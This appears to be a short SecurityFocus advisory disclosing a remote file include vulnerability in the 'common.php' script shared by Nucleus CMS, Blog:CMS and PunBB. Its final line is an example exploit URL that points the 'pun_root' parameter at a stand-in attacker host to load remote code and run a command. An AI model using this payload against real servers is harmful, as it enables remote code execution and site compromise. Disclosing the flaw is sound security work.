source: https://www.securityfocus.com/bid/10760/info
Nucleus CMS, Blog:CMS, and PunBB are vulnerable to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.
Input passed to the 'common.php' script is not sufficiently sanitized.
All three applications are vulnerable because they have a similar or identical code base.
http://www.example.com/forum/include/common.php?pun_root=http://www.host_evil.com/cmd?&=id
